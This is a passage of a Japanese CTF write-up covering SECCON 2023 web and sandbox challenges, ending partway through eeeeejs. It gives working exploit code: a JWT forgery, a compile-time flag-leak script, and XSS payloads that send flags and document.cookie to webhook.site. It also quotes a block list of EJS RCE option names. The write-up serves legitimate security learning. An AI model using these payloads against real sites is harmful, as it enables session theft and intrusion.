9/16 - 9/17という日程で開催された。keymoonさんとCyberMidori*1というチームで出て全体29位、国内5位。国内決勝に歩を進めることができたのは嬉しいものの、Webカテゴリではもっとも解かれていたBad JWTしか通すことができず、反省しきり。
ある程度材料は揃っていたものの詰めきれず落とした問題が2つということで、このような状況に陥るたびにいかに普段のCTFでほかのメンバーの別視点からの発想に手助けされているかを思い知る。SimpleCalcとeeeeejsは解けるべきだった。くやしい、くやしい~*2*3! 競技中の状況の振り返りも含めて解けなかった問題の復習をし、これをもって反省文とする。
競技時間中に解いた問題
[Web 98] Bad JWT (107 solves)
I think this JWT implementation is not bad.
(URL)
添付ファイル: Bad-JWT.tar.gz
与えられたURLにアクセスすると、大変簡素なUIで認証に失敗したというメッセージが返ってくる。
ソースコードが与えられているので見ていく。index.js
は次の通りシンプル。このアプリは session
というCookieに入っているJWTを検証し、有効かつその isAdmin
というクレームの値が true
であればフラグが表示されるという仕組みになっている。JWTは検証されるのみで、ユーザ側から生成する術はない。検証や署名に使われる鍵はランダムに設定されている。
const FLAG = process.env.FLAG ?? 'SECCON{dummy}'; const PORT = '3000';; const express = require('express'); const cookieParser = require('cookie-parser'); const jwt = require('./jwt'); const app = express(); app.use(express.urlencoded({ extended: false })); app.use(cookieParser()); const secret = require('crypto').randomBytes(32).toString('hex'); app.use((req, res, next) => { try { const token = req.cookies.session; const payload = jwt.verify(token, secret); req.session = payload; } catch (e) { return res.status(400).send('Authentication failed'); } return next(); }) app.get('/', (req, res) => { if (req.session.isAdmin === true) { return res.send(FLAG); } else { return res.status().send('You are not admin!'); } }); app.listen(PORT, () => { const admin_session = jwt.sign('HS512', { isAdmin: true }, secret); console.log(`[INFO] Use ${admin_session} as session cookie`); console.log(`Challenge server listening on port ${PORT}`); });
JWTの検証機構は jwt.js
というファイルでなんと自前で実装されている。そちらも見ていくが、やはりシンプルだ。検証に使われる関数は verify
であるので、その流れを確認する。まず .
で区切ったパーツの個数がきっちり3つであるか見る。OKならば与えられたヘッダとペイロードをもとに、鍵を使って本来あるべきシグネチャを生成する。そして、与えられたシグネチャをURL-safe Base64デコードして比較する。普通だ。
const crypto = require('crypto'); const base64UrlEncode = (str) => { return Buffer.from(str) .toString('base64') .replace(/=*$/g, '') .replace(/\+/g, '-') .replace(/\//g, '_'); } const base64UrlDecode = (str) => { return Buffer.from(str, 'base64').toString(); } const algorithms = { hs256: (data, secret) => base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()), hs512: (data, secret) => base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()), } const stringifyPart = (obj) => { return base64UrlEncode(JSON.stringify(obj)); } const parsePart = (str) => { return JSON.parse(base64UrlDecode(str)); } const createSignature = (header, payload, secret) => { const data = `${stringifyPart(header)}.${stringifyPart(payload)}`; const signature = algorithms[header.alg.toLowerCase()](data, secret); return signature; } const parseToken = (token) => { const parts = token.split('.'); if (parts.length !== 3) throw Error('Invalid JWT format'); const [ header, payload, signature ] = parts; const parsedHeader = parsePart(header); const parsedPayload = parsePart(payload); return { header: parsedHeader, payload: parsedPayload, signature } } const sign = (alg, payload, secret) => { const header = { typ: 'JWT', alg: alg } const signature = createSignature(header, payload, secret); const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`; return token; } const verify = (token, secret) => { const { header, payload, signature: expected_signature } = parseToken(token); const calculated_signature = createSignature(header, payload, secret); const calculated_buf = Buffer.from(calculated_signature, 'base64'); const expected_buf = Buffer.from(expected_signature, 'base64'); if (Buffer.compare(calculated_buf, expected_buf) !== 0) { throw Error('Invalid signature'); } return payload; } module.exports = { sign, verify }
JWTといえば alg
を変更する攻撃だ。none
が使えれば楽だけれども、以下のように algorithms
というオブジェクトに各アルゴリズムに対応する署名のための関数を格納しておき、algorithms[header.alg.toLowerCase()]
のようにユーザから与えられた alg
をキーとして対応する関数を呼ぶという形でシグネチャが生成されており、そもそも none
というキーを持っていないためできない。
const algorithms = { hs256: (data, secret) => base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()), hs512: (data, secret) => base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()), } // … const createSignature = (header, payload, secret) => { const data = `${stringifyPart(header)}.${stringifyPart(payload)}`; const signature = algorithms[header.alg.toLowerCase()](data, secret); return signature; }
では、hs256
, hs512
以外のほかのキーは使えないだろうか。algorithms
が持つキーをNode.jsのREPLで(オートコンプリートを使い)探してみると、Object.prototype
から継承されてきたメソッドがいっぱい見つかる。片っ端から試していくと、constructor
を alg
として指定した場合に与えられたデータ(ヘッダとペイロードを結合した文字列)をそのまま返すことがわかった。なるほど、algorithms.constructor
は Object
であり、Object('data here')
は data here
という文字列の Object
としてのラッパーを返すからだ。
> const algorithms = { ... hs256: (data, secret) => ... base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()), ... hs512: (data, secret) => ... base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()), ... } undefined > algorithms.(Tabを押す) algorithms.__proto__ algorithms.constructor algorithms.hasOwnProperty algorithms.isPrototypeOf algorithms.propertyIsEnumerable algorithms.toLocaleString algorithms.toString algorithms.valueOf algorithms.hs256 algorithms.hs512 > algorithms['constructor']('data here', 'secret here') [String: 'data here']
このような挙動を利用して、シグネチャの部分にヘッダとペイロードを .
で繋いで結合した文字列をそのまま置けばよい…というのは間違いで、前述のように .
の個数が厳密にチェックされているので、このままだと .
が通常のJWTより1個多くなってしまい、バリデーションに弾かれてしまう。
ん? と思ったが、ここで以下のように検証時にはそのままユーザに与えられたシグネチャと自分で計算したものを比較するのではなく、それぞれURL-safe Base64デコードしてその値を比較していることに気づいた。これならばシグネチャに .
がなくてもよい。
const calculated_buf = Buffer.from(calculated_signature, 'base64'); const expected_buf = Buffer.from(expected_signature, 'base64');
適当に jwt.sign('constructor', { isAdmin: true }, 'tekitou secret')
を実行して、次のように isAdmin
クレームの値が true
であり、また alg
が constructor
となっているJWTを生成する。
[INFO] Use eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ as session cookie
シグネチャ部分の .
を削除し、次のようなJWTをCookieにセットする。
eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ
これで問題サーバにアクセスすると、フラグが得られた。
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
CyberMidoriがfirst bloodだった。
[Sandbox 132] crabox (53 solves)
🦀 Compile-Time Sandbox Escape 🦀
(問題サーバへの接続情報)
添付ファイル: crabox.tar.gz
ソースコードが与えられているので読んでいく。Rustコードを入力すると、事前に用意されているテンプレートにコメントの中にフラグとそのコードが展開される。こうして生成されたRustコードをコンパイルしてくれ、その結果を教えてくれる。正常にコンパイルできた場合には :)
を、異常終了した場合には :(
を返す。ただし、生成物のバイナリを実行してくれるわけではないので、コンパイル時の処理だけで頑張る必要がある。
import sys import re import os import subprocess import tempfile FLAG = os.environ["FLAG"] assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG) os.environ.pop("FLAG") TEMPLATE = """ fn main() { {{YOUR_PROGRAM}} /* Steal me: {{FLAG}} */ } """.strip() print(""" 🦀 Compile-Time Sandbox Escape 🦀 Input your program (the last line must start with __EOF__): """.strip(), flush=True) program = "" while True: line = sys.stdin.readline() if line.startswith("__EOF__"): break program += line if len(program) > 512: print("Your program is too long. Bye👋".strip()) exit(1) source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program) with tempfile.NamedTemporaryFile(suffix=".rs") as file: file.write(source.encode()) file.flush() try: proc = subprocess.run( ["rustc", file.name], cwd="/tmp", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=2, ) print(":)" if proc.returncode == 0 else ":(") except subprocess.TimeoutExpired: print("timeout")
私がこの問題を確認した時点で、keymoonさんがマクロを使うのではないだろうかと予想していた。このようなシチュエーションから思い出されるのは、SpamAndFlags Teaser 2019のpwn - Rust Jailだ。あの問題ではバイナリの実行までしてくれていたけれども。
file!
を使うとそのソースコード自身のパスが得られるし、include_str!
を使うと指定したファイルの内容を取ってこれる。これをもとにコメント部分に含まれるフラグを抽出していきたい。
ではどうやるかというところで、我々が得られる情報がコンパイルに成功したか、それとも失敗したかという1ビットであることを考える。フラグのn文字目のLSBが1であればコンパイルに成功し、0であれば失敗する、あるいはフラグのn文字目が S
であれば成功し、そうでなければ失敗する、こういった形でBoolean-based SQLiと同じ要領で、1ビットずつフラグを得られるのではないかと考える。成功と失敗は assert(flag[i] == 'S')
のような形で制御できるのではないか。
では、Rustではそのようなことができるだろうか。私はRustを読めないし書けないので、rust compile time assert
のようなキーワードで検索する。あった。スクリプトキディしていこう。これをパクり、以下のように小さめのコードで検証する。const_str_equal
の第2引数が fn
である場合にコンパイルは成功し、それ以外の、たとえば midori
のような場合では失敗したので、ちゃんと考えた方法でできることがわかる。
fn main() { pub const X: &str = include_str!(file!()); const fn const_bytes_equal(l: &[u8], r: &[u8]) -> bool { let o = 0; let mut i = 0; while i < r.len() { if l[o+i] != r[i] { return false; } i += 1; } true } const fn const_str_equal(l: &str, r: &str) -> bool { const_bytes_equal(l.as_bytes(), r.as_bytes()) } #[allow(dead_code)] const fn check() { assert!(const_str_equal(X, "fn ")) } const _: () = check(); }
あとは試す文字列を1文字ずつ変えていって、レスポンスをもとにその試行が成功したかどうかを判定するようなスクリプトを書くだけだ。投げられるコードは1024文字までという制約があるので要らない空白文字や改行文字を消したり、試行する文字列の文字数が増えるにつれてオフセットがズレていくので、調整のためのパディングを仕込んだりしていく。最終的に出来上がったコードは次の通り。
import string import sys from pwn import * context.log_level = 'fatal' template = ''' fn main() { pub const X: &str = include_str!(file!()); const fn const_bytes_equal(l: &[u8], r: &[u8]) -> bool { let o = INDEX_HERE; let mut i = 0; while i < r.len() { if l[o+i] != r[i] { return false; } i += 1; } true } const fn const_str_equal(l: &str, r: &str) -> bool { const_bytes_equal(l.as_bytes(), r.as_bytes()) } #[allow(dead_code)] const fn check() { assert!(const_str_equal(X, "FLAG_HERE"PADDING_HERE)) } const _: () = check();} __EOF__''' def check(t, i): #s = remote('localhost', 2337) s = remote('crabox.seccon.games', 1337) s.recvuntil(b'(the last line must start with __EOF__):\n') code = template.replace('FLAG_HERE', t).replace('INDEX_HERE', f'{i:3}').replace('PADDING_HERE', ' ' * (100 - len(t))) s.sendline(code) res = s.recvline() s.close() return res == b':)\n' i = 547 flag = '' table = 'SECCON{} ' + '_' + string.digits + string.ascii_lowercase while True: for c in table: if check(flag + c, i): flag += c break print(flag)
実行するとフラグが得られた。
$ python3 solve.py solve.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes s.sendline(code) S SE SEC SECC SECCO SECCON SECCON{ SECCON{c SECCON{ct SECCON{ctf SECCON{ctfe SECCON{ctfe_ SECCON{ctfe_i SECCON{ctfe_i5 SECCON{ctfe_i5_ SECCON{ctfe_i5_p SECCON{ctfe_i5_p0 SECCON{ctfe_i5_p0w SECCON{ctfe_i5_p0w3 SECCON{ctfe_i5_p0w3r SECCON{ctfe_i5_p0w3rf SECCON{ctfe_i5_p0w3rfu SECCON{ctfe_i5_p0w3rful SECCON{ctfe_i5_p0w3rful}
SECCON{ctfe_i5_p0w3rful}
CTFE、CTFdの仲間かと思ったらCompile Time Function Evaluationだった。
競技終了後に解いた問題
[Web 193] SimpleCalc (23 solves)
This is a simplest calculator app.
Note: Don't forget that the target host is localhost from the admin bot.
(URL)
添付ファイル: simple-calc.tar.gz
与えられたURLにアクセスすると、次のようにシンプルなフォームが表示される。
プレースホルダの 7 * 7
を入力して Calc
ボタンを押してみると、その計算結果が表示された。
実装(/js/index.js
)は次の通り。クエリパラメータから expr
の値を取ってきてそれを eval
している。シンプルだ。
const params = new URLSearchParams(location.search); const result = eval(params.get('expr')); document.getElementById('result').innerText = result.toString();
ソースコードを確認していく。短いのでサーバ側のコードをそのまま載せる。重要なのは /flag
だ。token
というCookieの値が環境変数から渡ってきた秘密の文字列と一致しており、かつ X-FLAG
というヘッダが設定されている場合にフラグが表示される。つまり、ただ /flag
にアクセスするだけではダメで、フラグを得たければFetch APIやXHRでヘッダもいじる必要がある。
CSPも気になる。全ページに対して default-src: ${js_url} 'unsafe-eval'
が設定されている。その直前の js_url
の定義を見ると、/js/index.js
しか読み込めないようになっているとわかる。script-src
でなく default-src
と、iframe
やら style
やらも同様に制限されているのがつらい。スラッシュで終わっているわけではないので、たとえば /js/index.js/hoge
のようなパスも弾かれる。そもそも /js/index.js
は app.use('/', express.static('static'))
で配信されているので、/js/
のようなパスで指定されていたとしても無意味だけれども。どの get
や post
よりも前にCSPを設定する use
を呼んでいるので、全ページにおいてCSPが適用される。
/report
は先程の expr
を投げるとbotがアクセスしてくれるというもので、botの挙動に関しては後述する。丁寧にも url.searchParams.append('expr', expr)
というような形でbotの巡回先のURLを設定しているので、javascript:
スキームによるチートや、localhost
以外への直接のアクセスはさせられなそう。なお、この /report
について、express-rate-limit
によって10秒に1回しか expr
を投げられないようになっている。
const FLAG = process.env.FLAG ?? console.log('No flag') ?? process.exit(1); const ADMIN_TOKEN = process.env.ADMIN_TOKEN ?? console.log('No admin token') ?? process.exit(1); const PORT = '3000'; const express = require('express'); const rateLimit = require('express-rate-limit'); const cookieParser = require('cookie-parser'); const { visit } = require('./bot.js'); const reportLimiter = rateLimit({ // Limit each IP to 1 request per 10 seconds windowMs: 10 * 1000, max: 1, }); const app = express(); app.use((req, res, next) => { const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`); res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`); next(); }); app.use(express.urlencoded({ extended: false })); app.use(cookieParser()); app.get('/flag', (req, res) => { if (req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')) { return res.send('No flag for you!'); } return res.send(FLAG); }); app.post('/report', reportLimiter, async (req, res) => { const { expr } = req.body; const url = new URL(`http://localhost:${PORT}/`) url.searchParams.append('expr', expr); try { await visit(url); return res.sendStatus(200); } catch (err) { console.error(err); return res.status(500).send('Something wrong'); } }); app.use('/', express.static('static')); app.listen(PORT, () => { console.log(`Web server listening on port ${PORT}`); });
botの挙動を見ていく。incognitoなコンテキストを都度作って、前述の token
というCookieを設定して、指定されたURLを開く。特にボタンのクリックやテキストの入力といったユーザインタラクションはない。フラグの閲覧に必要な X-FLAG
ヘッダも特にここでは触れられておらず、やはりFetch APIなどによって指定する必要がありそうだ。なお、HttpOnly属性が設定されているため、document.cookie
からの token
の抽出はできない。
const puppeteer = require('puppeteer'); const ADMIN_TOKEN = process.env.ADMIN_TOKEN ?? console.log('No admin token') ?? process.exit(1); const APP_HOST = 'localhost'; const APP_PORT = '3000'; const sleep = async (msec) => new Promise((resolve) => setTimeout(resolve, msec)); const visit = async (url) => { console.log(`start: ${url}`); const browser = await puppeteer.launch({ headless: "new", executablePath: '/usr/bin/google-chrome-stable', args: ['--no-sandbox'], }); const context = await browser.createIncognitoBrowserContext(); try { const page = await context.newPage(); await page.setCookie({ name: 'token', value: ADMIN_TOKEN, domain: `${APP_HOST}:${APP_PORT}`, httpOnly: true }); await page.goto(url, { timeout: 3 * 1000 }); await sleep(3 * 1000); await page.close(); } catch (e) { console.error(e); } await context.close(); await browser.close(); console.log(`end: ${url}`); }; module.exports = { visit }
botが token
を持っているとわかったのはよいが、フラグを閲覧するためのもう一方の条件である X-FLAG
ヘッダを付与しつつの /flag
へのアクセスには問題がある。前述の通り /js/index.js
ではなんでも eval
されるわけだけれども、一方でCSPにより /js/index.js
以外のリソースの読み込みなどが制限されていることから、たとえば fetch('/flag', {headers:{'X-FLAG':'neko'}})
のような形での /flag
へのアクセスができない。
window.open
ならば /flag
を開けるけれども、今度は X-FLAG
ヘッダの付与ができないので、/flag
側に弾かれてしまう。location.assign
などによる外部の(我々の管理下にあるWebサーバのような)URLへの遷移も考えるが、そこから発展させる方法が思いつかない。
CSPをなんとかしてバイパスしたい。まずCSP中の js_url
の含まれるホスト名が req.hostname
であるというのが気になる。ドキュメントを確認すると trust proxy
の設定がされていれば X-Forwarded-Host
の値を信用するらしいとある。実装もその通り。今回は trust proxy
の設定がされておらず、当然ながらこれはデフォルトでは false
だ。じゃあ直接 Host
でと一瞬考えるも、そんなことどうやるのか。X-Forwarded-Host
でもそうだったか。Host: a;b
のような Host
も許容されるようなので、これでCSPを破壊できるものの、今言ったようにどうやって実現するのか。
ぽけーっと考えて、たとえば長いクエリパラメータをくっつけたり、大量に長いCookieを送りつけると400や431を返すのではないか、もしくは何らかの形でエラーを起こさせて500を返させることができるのではないかと考えた。あるいはわざと express-rate-limit
に引っかからせることができるのではないか。このようにユーザ側で作ったわけではないコンテンツを返させることで、ExpressがCSPを送らないという状況を作れるのではないか。
最初の案がビンゴだった。試しに次の expr
を送り付けてみると、開かれたページでは431が返ってきていた。超長いクエリパラメータでも同様だ。
for(let i=0;i<15;i++)document.cookie=`neko${i}=`+'a'.repeat(1500)+'; path=/neko';w=window.open('http://localhost:3000/neko')
次の通り、ヘッダにCSPは含まれていない。
ひとつ問題があり、レスポンスボディが空であるために次のような画面が表示されてしまう。ここから w.fetch
を叩こうとしてもクロスオリジンであるためダメだと言われてしまう。どういうことかと開かれたウィンドウで location.href
を参照すると、これは chrome-error://chromewebdata/
というURLであると言われてしまった。
では /flag
の req.get('X-FLAG')
をごまかせるような方法はないか。一応実装を見るも、どう考えてもヘッダしか見ていない。
こんな感じで悩んでいるうちに競技の終了時刻を迎えた。
競技終了後にXのポストやDiscordを眺めていると、どうやらService Workerを使った方法や、前述の431を使う方法があるとわかった。後者について、空のレスポンスボディが返ってきているのにどうやって…? と思うも、iframe
を使えばよかったらしい。そんなあ。
次のコードで試してみる。
let i = document.createElement('iframe'); i.src = '/js/index.js?' + 'A'.repeat(1e5); document.body.appendChild(i); i.onload = () => { console.log(i.contentWindow.location); };
確かにこの iframe
の location
が chrome-error://chromewebdata/
でなく、ちゃんとWebサーバの /js/index.js
を指している。
こいつの contentWindow.fetch
を使えばCSPをバイパスできる。/flag
に X-FLAG
ヘッダ付きでリクエストを飛ばし、フラグを取得でき次第(navigator.sendBeacon
や new Image().src
だとCSPに止められてしまうので) location.href
でWebhook.siteに飛ばさせる。
let i = document.createElement('iframe'); i.src = '/js/index.js?' + 'A'.repeat(4e4); document.body.appendChild(i); i.onload = async () => { const r = await i.contentWindow.fetch('/flag',{headers:{'X-FLAG':1}}); location.href = "https://webhook.site/(省略)?" + await r.text(); }
これを問題サーバで報告するとフラグが得られた。
SECCON{service_worker_is_powerfull_49a3b7bf6d2ae18d}
もう一方のService Workerによる方法だが、hamayanhamayanさんがすでにwriteupを公開している。
[Web 240] blink (14 solves)
Popover API is supported from Chrome 114. The awesome API is so useful that you can easily implement
<blink>
.(URL)
添付ファイル: blink.tar.gz
与えられたURLにアクセスすると、次のようなフォームが表示される。
適当に <s>こんにちは</s>
というHTMLを入力してみると、次のように表示された。
これは iframe
の中にあり、チカチカ出たり消えたりする。
この問題にもURLを通報できる機能がある。通報されたURLはbotによって次の処理で巡回される。FLAG
というCookieにフラグが含まれており、今度はHttpOnly属性が付いていないので、JS側から document.cookie
で取得できる。
const page = await context.newPage(); await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", }); await page.goto(url); await sleep(5 * 1000); await page.close();
さっきのアプリに戻る。<blink>
的な機能を実現しているのは /main.js
だ。内容は次の通り。出たり消えたりさせているのはPopover APIで実現しているらしい。iframe
には sandbox
属性が付いており、allow-scripts
は含まれていないのでこの中でJSを実行することはできない。となるとDOM Clobberingかと思ったものの、適当に <div id="togglePopover"></div>
などを試してみても発火せず、特にほかの方法を思いつくわけでなく、そのまま競技の終了時刻を迎えた。
const wrap = (obj) => new Proxy(obj, { get: (target, prop) => { const res = target[prop]; return typeof res === "function" ? res.bind(target) : res; }, set: (target, prop, value) => (target[prop] = value), }); const $ = wrap(document).querySelector; const sandboxAttribute = [ "allow-downloads", "allow-forms", "allow-modals", "allow-orientation-lock", "allow-pointer-lock", "allow-popups", "allow-popups-to-escape-sandbox", "allow-presentation", "allow-same-origin", // "allow-scripts", // disallow "allow-top-navigation", "allow-top-navigation-by-user-activation", "allow-top-navigation-to-custom-protocols", ].join(" "); const createBlink = async (html) => { const sandbox = wrap( $("#viewer").appendChild(document.createElement("iframe")) ); // I believe it is impossible to escape this iframe sandbox... sandbox.sandbox = sandboxAttribute; sandbox.width = "100%"; sandbox.srcdoc = html; await new Promise((resolve) => (sandbox.onload = resolve)); const target = wrap(sandbox.contentDocument.body); target.popover = "manual"; const id = setInterval(target.togglePopover, 400); return () => { clearInterval(id); sandbox.remove(); }; }; $("#render").addEventListener("click", async () => { const html = $("#html").value; if (!html) return; location.hash = html; const deleteBlink = await createBlink(html); const button = wrap( $("#viewer").appendChild(document.createElement("button")) ); button.textContent = "Delete"; button.addEventListener("click", () => { deleteBlink(); button.remove(); }); }); const initialHtml = decodeURIComponent(location.hash.slice(1)); if (initialHtml) { $("#html").value = initialHtml; $("#render").click(); }
競技終了後にDiscordを覗いてみたところ、name
属性に body
という値を持つ iframe
を仕込むと sandbox.contentDocument.body
を、一番上の iframe
の body
でなく、その中の iframe
に置き換えられるらしいという情報が共有されていた。試しに以下のようなJSコードで検証してみる。
// https://portswigger.net/research/dom-clobbering-strikes-back const elms = [ 'a', 'abbr', 'acronym', // … 'video', 'wbr', 'xmp' ]; elms.forEach(async x => { const el = document.createElement('iframe'); el.srcdoc = `<${x} name='body'></${x}>`; document.body.appendChild(el); await new Promise(resolve => el.onload = () => { const body = el.contentDocument.body; // body instanceof HTMLBodyElementでは動かない // ref: https://stackoverflow.com/a/5724974 // 実はbody instanceof el.contentDocument.defaultView.HTMLBodyElementでもいける // ref: https://twitter.com/AmNicd/status/1574307932077965312 if (body.tagName !== 'BODY') { console.log(x, body); } resolve(); }); });
実行すると、次の通り embed
, form
, frameset
, iframe
, image
, img
, object
ではDOM Clobberingによって body
を置き換えることができた。
ここから何ができるかというと、setInterval
という関数は第1引数として文字列が与えられた場合に、それをJSコードとみなして eval
相当のことをするという挙動が使える。setInterval
は setInterval(target.togglePopover, 400)
のように使われていて、ここで target
はすでにDOM Clobberingによって置き換えられているから、さらに togglePopover
に対して2段目のDOM Clobberingをすればよい。
先に、ここで setInterval
の第1引数に渡っても問題ない、つまり文字列化する際にJSコードとして妥当なものを作れる要素を探したい。普通の要素では、たとえば document.createElement('table') + '' === '[object HTMLTableElement]'
のように [object …]
というフォーマットになってしまう。そうでない要素を探す。次のようなJSコードを作る。
// https://portswigger.net/research/dom-clobbering-strikes-back const elms = [ 'a', 'abbr', 'acronym', // … 'video', 'wbr', 'xmp' ]; for (const name of elms) { try { const el = document.createElement(name); const s = el + ''; if (!s.startsWith('[object')) { console.log(name, s); } } catch {} }
実行すると a
と area
が見つかる。実はこのあたりのテクはDOM Clobbering界(とは?)では有名で、HackTricksにも載っている。これらの要素はいずれもリンクの作成に使えるもので、href
属性に abc:alert(123)
のようにJSコードとして有効な「URL」を設定する*4*5と、この要素を文字列化した際にその「URL」を返してくれる。
では、2段目のDOM Clobberingをどうするか。残念ながら <a id=body><a id=body name=togglePopover href="abc:hi">
のようなよくあるパターンでは突破できない。ここで1段目の候補にいいものがないかなというところで、iframe
が使えるという話がPortSwiggerの記事で言及されている。以下のようなペイロードで alert
が出た*6。
<iframe name="body" srcdoc="<a id='togglePopover' href='abc:if(!window.a)alert(123);a=1'></a>"></iframe>
あとは実行されるJSコードを、document.cookie
を外部に送信するものに変えればよい。以下のようなURLを報告する。
http://web:3000/#<iframe name="body" srcdoc="<a id='togglePopover' href='abc:if(!window.a)location.href=`https://webhook.site/…?`+document.cookie;a=1'></a>"></iframe>
すると、フラグが飛んできた。
SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}
DOM Clobberingではないかという疑いを持ったときにブルートフォースで強引に探してみてもよかったのかもしれない。
[Web 257] eeeeejs (12 solves)
Can you bypass all mitigations?
(URL)
添付ファイル: eeeeejs.tar.gz
与えられたURLにアクセスすると、marquee
によって Hello, ejs!
というテキストが跳ね返り続ける。
ソースコードが与えられているので確認していく。この問題は2つのサービスからなっていて、一方はNode.jsで作られたWebサーバの web
、もう一方は通報されたURLを自動で巡回する bot
だ。bot
から見ていく。メインの処理は次の通りで、blinkと同様にただ与えられたURLにアクセスするだけだ。FLAG
というHttpOnly属性の設定されていないCookieがあるので、XSSに持ち込んで document.cookie
を盗み出せればよい。
const page = await context.newPage(); await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", }); await page.goto(url); await sleep(5 * 1000); await page.close();
Webサーバの方のソースコードを見ていく。EJSを使ってユーザから与えられたパラメータをテンプレートに展開しているが、少し様子がおかしい。render.dist.js
という別のJSコードを、わざわざ child_process.execFile
で別のNode.jsのプロセスを立ち上げて実行している。
const express = require("express"); const { xss } = require("express-xss-sanitizer"); const { execFile } = require("node:child_process"); const util = require("node:util"); const app = express(); const PORT = 3000; // Mitigation 1: app.use(xss()); // Mitigation 2: app.use((req, res, next) => { // A protection for RCE // FYI: https://github.com/mde/ejs/issues/735 const evils = [ "outputFunctionName", "escapeFunction", "localsName", "destructuredLocals", "escape", ]; const data = JSON.stringify(req.query); if (evils.find((evil) => data.includes(evil))) { res.status(400).send("hacker?"); } else { next(); } }); // Mitigation 3: app.use((req, res, next) => { res.set("Content-Security-Policy", "default-src 'self'"); next(); }); app.get("/", async (req, res) => { req.query.filename ??= "index.ejs"; req.query.name ??= "ejs"; const proc = await util .promisify(execFile)( "node", [ // Mitigation 4: "--experimental-permission", `--allow-fs-read=${__dirname}/src`, "render.dist.js", JSON.stringify(req.query), ], { timeout: 2000, cwd: `${__dirname}/src`, } ) .catch((e) => e); res.type("html").send(proc.killed ? "Timeout" : proc.stdout); }); app.listen(PORT);
なお、ここでデフォルトの filename
とされている index.ejs
は次のようなテンプレートだ。
<marquee height="100%" scrollamount="16" direction="down" behavior="alternate"> <marquee scrollamount="24" behavior="alternate"> <h1>Hello, <%= name %>!</h1> </marquee> </marquee>
render.dist.js
は配布されたファイルには含まれていないが、package.json
を見ると以下のような記述があり、なんかバンドルしているのだなあとわかる。適当にDockerイメージを作成して、コンテナから持ってくればよい。
"scripts": { "bundle": "esbuild src/render.js --bundle --platform=node --outfile=src/render.dist.js" },
render.dist.js
のもととなっている render.js
は次の通り。シンプルだ。コマンドライン引数から与えられたJSONから filename
と残りの query
を取り出して、それぞれ ejs.renderFile
に渡している。つまり、好きなファイルをEJSのテンプレートとして指定して、それに好きなデータを渡してレンダリングさせることができる。ここで renderFile
の第2引数にユーザから与えられたものを渡しているのがまずい。詳しくは後述するが、あわせてレンダリング時のオプションもここで指定できてしまい、それによってRCEに持ち込める可能性がある。
const ejs = require("ejs"); const { filename, ...query } = JSON.parse(process.argv[2].trim()); ejs.renderFile(filename, query).then(console.log);
このように、query
というクエリパラメータは最終的には(危ないことに) ejs.renderFile
に渡るわけだけれども、いくつか "mitigation" として様々な対策をしているのが気になる。それぞれ見ていこう。まず1つ目だけれども、以下のように express-xss-sanitizer
というミドルウェアを使ってXSSを防ごうとしている。ミドルウェアのソースコードを見ると、こいつはリクエストボディやクエリパラメータといったユーザ入力に含まれる文字列について、それぞれ sanitize-html
でサニタイズしている。入力時点で変なものが潰されてしまうのはつらい。
const { xss } = require("express-xss-sanitizer"); // … // Mitigation 1: app.use(xss());
2つ目は outputFunctionName
, escapeFunction
, localsName
, destructuredLocals
, escape
といったEJSの renderFile
のオプション名がクエリパラメータに含まれていた場合には、その時点で400を返すというものだ。なぜこれらに限定されているかというと、コメントでリンクされているissueを見るとわかるけれども、これらのオプションがユーザにコントロールされてしまうとRCEに持ち込めてしまうためだ。
// Mitigation 2: app.use((req, res, next) => { // A protection for RCE // FYI: https://github.com/mde/ejs/issues/735 const evils = [ "outputFunctionName", "escapeFunction", "localsName", "destructuredLocals", "escape", ]; const data = JSON.stringify(req.query); if (evils.find((evil) => data.includes(evil))) { res.status(400).send("hacker?"); } else { next(); } });
3つ目はCSPだ。同一オリジンからしかリソースを読み込めないようにしている。
// Mitigation 3: app.use((req, res, next) => { res.set("Content-Security-Policy", "default-src 'self'"); next(); });
最後はProcess-based Permissionsによる、render.dist.js
から読み込めるファイルの制限だ。ここで指定されている src
というディレクトリには render.js
, render.dist.js
, index.ejs
の3つのファイルのみがあり、これら以外を --allow-fs-read
オプションによって読み込めなくしている。
const proc = await util .promisify(execFile)( "node", [ // Mitigation 4: "--experimental-permission", `--allow-fs-read=${__dirname}/src`, "render.dist.js", JSON.stringify(req.query), ], { timeout: 2000, cwd: `${__dirname}/src`, } )
ejs.renderFile
の引数をある程度自由にコントロールできるが、いくつか対策を用意している。この状況でXSSに持ち込んでみろという挑戦状だ。
最近Codegate CTF 2023 Preliminary - CalculatorというEJSのオプションで色々頑張る問題に遭遇しており、その際にEJSについて色々確認していた。その中で気になっていたのが delimiter
, openDelimiter
, closeDelimiter
という3つのオプションで、これらはそれぞれデフォルトで %
, <
, >
という値になっている。ではこれらを変えるとどうなるか。delimiter
を neko
に変えると、たとえばデフォルトでは <%= 123 %>
でなければこの箇所がレンダリングされないところ、<neko= 123 neko>
のようにしても動く。openDelimiter
と closeDelimiter
はそれぞれ開始タグと終了タグで delimiter
の前と後に来る文字列を変更できる。
